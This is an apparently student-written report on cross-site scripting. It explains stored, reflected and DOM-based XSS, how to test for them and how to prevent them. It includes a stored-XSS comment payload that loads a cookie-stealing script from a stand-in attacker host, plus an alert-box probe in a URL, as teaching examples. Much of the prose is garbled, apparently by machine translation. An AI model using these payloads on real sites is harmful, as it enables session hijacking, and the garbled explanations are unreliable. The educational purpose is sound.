cross site scripting

Name/Mohammed Aburas
ID/382015800

Name/Omar Abdulrahman Asiri

ID/381010489
background :

Web security depends on a variety of factors, including the basic concept of trust known as
the same source policy. This means that if content from a single site is granted access to
resources (such as cookies, etc.) in a web browser, content from any similar URL , URI
Program, The host name, and the port number will share these permissions. Content from
URLs where any of these three attributes are different will need to be licensed separately.

Cross-site scripting uses known threats to web-based applications, their servers, or the
plug-in systems they rely on. Using one of these, the attackers threatened the malicious
content of content delivered to the corrupted site. When integrated content emerges from a
customer's web browser, everything is delivered from a trusted source, so it works under the
permissions granted to that program. By finding ways to insert malicious text into web
pages, an attacker may gain higher access to sensitive web content, create cookies, and
various other information stored by the browser on behalf of the user. Cross-site scripting
attacks are a form of code injection.

Microsoft security engineers introduced "cross-site scripting" in January 2000. The term
"cross-site scripting" originally referred to the act of uploading a third-party web application
to an unrelated attack site, in a manner that removes a JavaScript clip prepared by the
attacker in the target's security context. domain (using XSS risks shown or not contradicted).
The definition gradually expanded to include other code injection methods, including
persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or HTML
documents), which creates confusion for young people in the field of information security.
what is Cross-site-scripting:

Cross-site scripting (XSS) is a type of injectable attack that occurs on the client side By
inserting a page code on the official web page or web application, the attacker hopes to use
malicious scripts in the victim's browser. a place where a user visits a website or uses a web
application that contains malicious codes.

Bad script is transmitted to the user's browser and the web page or web application. Forums,
message boards, and web pages with the ability to comment are popular cross-site Scripting
attack targets.

A malicious script can access any cookie, session tokens, or other sensitive information
because it believes the script is from a trusted source.These scripts can also reproduce HTML
page text.

What can XSS be used for?:

1-Cybercriminals select a website to attack and search for weak features that receive
user feedback such as:

Search bars, sign-in forms.

2-They select a feature and insert a malicious code into it.A malicious code can be
written in a variety of programming languages, including HTML and JavaScript.

3-On a webpage out of this feature, a malicious code is inserted (search results or
comments on the comments page). Become part of a webpage, making it weaker

4-They select a feature and insert a malicious code into it.A malicious code can be
written in a variety of programming languages, including HTML and JavaScript.

5-For a webpage that results in this feature, a malicious code is inserted (search
results or comments on the comments page). It becomes part of the webpage, making
it weak.
 6-Harmful content may not be on the web page itself, depending on how the code is
inserted, but rather as a temporary feature that only appears as part of the website at
some point of exploitation. This can give the impression that the website is infected if
not.

Why Is XSS Dangerous?

1-Using XSS, cybercriminals makers can make trusted websites bad, causing great damage
and damage not only to the victims, but also to the owner's reputation.

2-XSS websites may expose the user to a variety of threats.This can range from displaying
offensive content to malicious malware installation on the device without the user's
knowledge.

How does XSS work?

Cross-site scripting works by directing visitors to a designated website containing malicious

JavaScript.If the malicious code works in the victim's browser, the attacker has full control
over how they interact with the software.

There are common XSS attacks:

1- stored cross site scripting :

The attacker must first find a loophole in the web application and then install a malicious
script on his server to perform a saved XSS attack (e.g., by comment field).
example for stored XSS attack :
Attacker finds a gap that causes HTML tags to be included in the comment section of the site
when visiting an ecommerce website.
Embedded tags become a permanent part of the website, allowing the browser to scan them
along with the entire source code each time it is opened.

Attacker adds the following comment: Good price for something fun! My analysis can be
found here.
<script src = "http://hackersite.com/authstealer.js"> </script>.

The HTML tag in the comment will now open a JavaScript file hosted elsewhere and has the
potential to steal guest session cookies whenever a page is found.
.

The attacker will compromise the visitor's account by using a session cookie, giving him or
her easy access to his or her credit card information and information.
Meanwhile, the visitor would never even see the attack because they had never looked at the
comment section.

Unlike the targeted attack, which requires the victim to visit the added web page after
clicking the link, the saved attack only requires the victim to visit the weakened webpage.
This expands the range of attacks, putting all visitors at risk, no matter how vigilant they are.
The ongoing XSS attack is a major challenge to do from an attacker's point of view due to the
difficulty of finding a well-known and one weak website that allows permanent embedding of
the script.

here we have a test website. we have an add button and search method

here i’m adding a new item

here what the page looks like now

I’ll try and add more items and try find non existing item with search
method

now we will inject a script in the add method and see the result
now every time we refresh the page we will see this message

here the attacker stored the script on the server and every user will be
affected with this script
2- Reflected XSS Attacks

Displaced XSS attacks, also known as uncontrolled attacks, occur when a malicious script is
displayed on a web application in the victim's browser. The vulnerability is often the result of
incoming unsolicited applications, which allow the management of web application activities
and activate malicious scripts. This attack differs from the Persistent XSS attack in that the
malicious code is not stored in the server database, instead it is usually the user to exploit the
URLs of search queries when the search term appears on the user.

In order to distribute the harmful link, the perpetrator himself posted it in an email or on a
third party website (e.g., in the comments section or on social media). A link is embedded
within the anchor text that annoys the user to click on it, which initiates the XSS request on
the exploited website, indicating the attack returned to the user.
At first, the displayed XSS may appear harmless because it requires the victim himself to
submit a request with malicious strings. Since no one will volunteer to attack, there seems to
be no way out. As it turns out, there are at least two common ways to cause a victim to launch
an XSS attack that has been shown to him:

If a user identifies someone, the attacker may send a malicious URL to the victim (using
email or text messages, for example) and trick them into visiting it.
If a user identifies a large group of people, an attacker may post a link to a malicious URL (on
their website or social network, for example) and wait for visitors to click on it.
The two methods are similar, and both can be very effective with the use of a URL reduction
service, which hides a dangerous thread from users who might otherwise point it out.

Reflected XSS attack example :

While visiting a site that requires users to sign in to their account, the perpetrator creates
this search query <script type = 'text / javascript'> alert ('xss'); </script> that makes the
following things happen:

1-The query generates a warning box: "XSS".

2-Page shows: "<script type = 'text / javascript'> alert ('XSS'); </ script> not found."

3-The URL of the page reads http://ecommerce.com?q=<script type = "text / javascript">

alert ('XSS'); </script>.

This tells the perpetrator that the website is in danger. Next, you create your own URL,
which reads: email, which you send to a group of forum users.

While the postal address and title line may seem suspicious to others, it does not mean that it
will not be clicked.

In fact, even if only one of the 1,000 email recipients clicks on a link, that's still a lot of
infected users. They will be taken to the forum website, where a malicious script will be
displayed in their browser, enabling the perpetrator to steal cookies for their session and
hijack their forum accounts.
Impact of reflected XSS attacks :
An attacker usually completely endangers the user if he or she is able to manipulate the
script created in the victim's browser.

The attacker, among other things, will:

1-Perform any action that the user is able to perform within the system.

2- Look at the information the user has access to.

3- Change any details that the consumer has the right to change.

4- Trigger interactions with other app users, including malicious attacks that often occur on
the first victim user.

The attacker can use various methods to persuade the victim's user to make a request that
they use to deliver the XSS attack shown.

This includes embedding links to the attacker's website or another website that allows
content creation, as well as sending links to email, tweet, or other posts.

This attack can be targeted at a specific user or it could be a costume attack that affects all
users of the app. Since the attack requires an external distribution method, the resulting XSS
result is often worse than the saved XSS, sending independent attacks within the
compromised application itself.

Reflected XSS in different contexts :

The script depicting the site on the cross comes in a variety of forms.
The location of the data displayed within the system response specifies the type of upload
needed to take advantage of the risk, as well as the magnitude of the error.

In addition, if the request makes any validation or other processing of data submitted before
it is displayed, the required XSS upload type will be affected.
3-DOM-Based Cross Site Scripting :

Content that works alongside a website, usually JavaScript, receives user feedback and does
something unsafe about it, resulting in the use of embedded code, known as a DOM-based
cross-site script.
This paper only covers JavaScript vulnerabilities that lead to XSS.

The Document Object Model, or DOM, is a structural format used by the browser to
represent documents.DOM allows powerful scripts like JavaScript to target document
objects such as form forums and cookie sessions.The browser uses the DOM for security
purposes, such as to protect documents from accessing cookies from other domains.
DOM-based XOM vulnerability may occur when active content, such as the JavaScript
feature, is altered by a specially designed application, resulting in a DOM object that the
attacker can use.

Not all XSS vulnerabilities require the attacker to handle server retrieved content; instead,
they can take advantage of the bad JavaScript coding habits to get the same results.
The results are similar to the standard XSS error, except that the delivery method.

Unlike other cross-site scripts (shown and stored, when the crude parameter is transferred to
the server and returned to the user and executed in the user's browser environment),
DOM-based XSS vulnerability controls the flow of code by mixing Document Object Model
(DOM) objects made by the invader.

Because of their design, DOM-based XOM vulnerability can be misused in many ways
without the server being able to predict what is happening.
Many XSS filtering and retrieval techniques may not work in such an attack because of this.

Impact of XSS vulnerabilities:

The magnitude of an XSS attack is usually determined by system configuration, features, and
data, and the user's situation at risk.

Consider the following scenario:

1-The result will remain unnoticed in the Browser Ware framework where all users are
anonymous and all information is available.

2-Effect on applications that store confidential data, such as financial transactions,

addresses, or medical records, is extremely important.
3-When a vulnerable user has high privileges within the app, the result is often critical,
allowing the attacker to completely control the unprotected app and compromise all user
data.

How to find and test for XSS vulnerabilities :

A critical Burp Suite scanner can easily and accurately identify most XSS crashes.

Manual XSS manuals that are displayed and stored usually include a different simple input
(such as a short string of words) in each input area of ​the application, defining the entire
point where the inserted input is returned to HTTP responses, and checking each location
separately to see if a properly designed JavaScript is innocent.This helps you define the
context in which the XSS takes place and select acceptable paid uploads to use.

Manually accessing DOM-based XSS risks from URL parameters follows the same pattern:
enter specific parameters in the parameter, use the browser developer tools to scan the DOM
for this input, and test each position to see if it works. Other types of DOM XSS, on the other
hand, are very difficult to detect. in HTML (such as setTimeout) .The web risk scanner in
Burp Suite includes static and powerful JavaScript analysis to detect DOM-based risks..

How to Prevent Cross-Site Scripting Attacks?:

Attackers use many tricks to take advantage of website errors.Because of this, there is no
one-size-fits-all solution to prevent script attacks on site.

Cross-site scripting is based on the provision of unsafe user input directly on a web page.

We recommend that you strengthen your web applications with the following protections to
protect your website.

1-Allowlist Values

User feedback is limited to the permissions list.Only known safe values ​are sent to the server
as a result of this process.
User response restrictions only work if you know what data you will receive, such as the
drop-down menu content, and not the customer's user content.

2-Avoid and Restrict HTML in Inputs

Although HTML should be required for rich content, it should only be used by trustworthy
people.If you approve the style and formatting of the input, you should suggest using
Markdown or another text format.

Lastly, if you have to use HTML, be sure to clean it by moving it using a powerful sanitizer
like DOMPurify to remove any unsafe code.

3-Sanitize Values
Replace unsafe characters with their elements when using user-generated content on a
website to ensure that they do not lead to HTML content. Businesses are like ordinary
characters in appearance, but cannot be used to produce HTML

4-Use HTTPOnly Flags on Cookies

Attackers sometimes steal management sessions by filtering their cookies, which is how the
website reminds the user between requests.After stealing the cookie, attackers can log into
their account without using their credentials or being allowed access.

HttpOnly cookies prevent JavaScript from reading cookie content, making it more difficult
for the attacker to hold a session.

This method only prevents cookies from being read by attackers.When acting as an
administrator user, attackers can still use the active window session to process requests.This
method is only useful when cookies are used as the primary identifier.

In addition to content filtering, some of the more complex ways to minimize site script are
also widely used. One example is the use of additional security controls when handling
cookie-based user authentication. Many web applications rely on session cookies to verify
between individual HTTP requests, and because custom scripts are usually able to access
these cookies, easy XSS exploitation can steal these cookies. To minimize this threat
(although not a common XSS problem), many web applications attach session cookies to the
IP address of the original login user, and then allow that IP to use that cookie. This applies
in most cases (if the attacker is behind the cookie), but is obviously broken in cases where the
attacker is behind a NATed IP address or a web host as a victim, or the victim changes the
mobile IP.

Other shortcomings are in Internet Explorer (from version 6), Firefox (from version 2.0.0.5),
Safari (from version 4), Opera (from version 9.5) and Google Chrome, the HttpOnly flag that
allows web server to set cookies that are not available in the customer's scripts While it is to
our advantage, the feature cannot completely prevent cookie theft or prevent attacks within
the browser.

5-Use a WAF to Protect against Cross-Site Scripting Attacks

A firewall can be used to completely fix attacks on your website.

Before malicious applications reach your website, this method encounters XSS, RCE, and
SQLi attacks.
It also has the advantage of protecting against major attacks such as DDOS.

6-Disabling scripts

While the developers of Web 2.0 and Ajax require the use of JavaScript, some web
applications are written to allow you to work without the need for any third-party clients.
This allows users, if they choose, to disable write in their browsers before using the app. This
way, even the dangerous client side notes can be inserted unsaved on the page, and users
would not be attacked by XSS.

Some browsers or browser plugins can be configured to disable custom client scripts for each
domain. This method has a limited value if writing is automatically allowed, because it blocks
bad sites only after the user knows that they are bad, too late. An app that automatically
blocks all external and external scripts and allows the user to enable you per domain is
working effectively. This has been the case for a long time in Internet Explorer (from version
4) with settings called "Security Locations", and Opera (since version 9) using "Site
Preferences Preferences". The solution for Firefox and other browsers based on Gecko is an
open source NoScript that adds to it, in addition to being able to enable scripts for each
domain, it provides some XSS protection even if the scripts are enabled.

The most important problem is blocking all text messages on all websites automatically
reducing performance and responsiveness (typing on the client side can be much faster than
typing on the server side because it does not need to be connected to a remote server or the
frame does not need to reload) Another problem with script blocking is that many users do
not understand it, and do not know how to properly protect their browsers. And another
downside is that many sites do not function without the client side, forcing users to disable
that site's security and open their systems at risk. The Firefox NoScript extension enables
users to allow text selections on a given page while not allowing others on the same page. For
example, texts from example.com may be allowed, while text from progingaingagency.com
attempts to work on the same page may not be allowed.
Post-Hack Actions
There are some steps you can take to patch your website if cross-site scripting occurs.

1-Locate Vulnerable Code

The first phase in recovering from cross-site scripting is determining the location of the
vulnerability.

2-Remove Malicious Content and Backdoors

Remove any malicious or malicious data from your servers and restore it to its original state
once it has detected the malware.
Backgrounds can also be tested throughout your website and in the file system

3-Patch the Vulnerability

Hackers often exploit errors in information, software, and external resources.

Add patches and upgrade to endangered code, and any other expired items, once you've
found them.

4-Update Your Credentials

It's important to update all your passwords and system secrets as soon as the vulnerability is
fixed when hacked.
Clean the data and make sure there are no fraudulent or backward admin users in the
database to prevent re-infection.

5-Set Up a WAF

Consider installing a web application firewall to protect your website from malicious
applications.This can be very helpful in preventing new damage until the clips are published.
resources and references :

https://owasp.org/www-community/attacks/xss/

https://sucuri.net/guides/what-is-cross-site-scripting/

https://portswigger.net/web-security/cross-site-scripting

https://www.imperva.com/learn/application-security/cross-site-scriptin
g-xss-attacks/

https://portswigger.net/web-security/cross-site-scripting/reflected

https://owasp.org/www-project-web-security-testing-guide/v41/4-Web
_Application_Security_Testing/11-Client_Side_Testing/01-Testing_for
_DOM-based_Cross_Site_Scripting.html

https://en.wikipedia.org/wiki/Cross-site_scripting#Preventive_measur
es

https://medium.com/iocscan/reflected-cross-site-scripting-r-xss-b06c3
e8d638a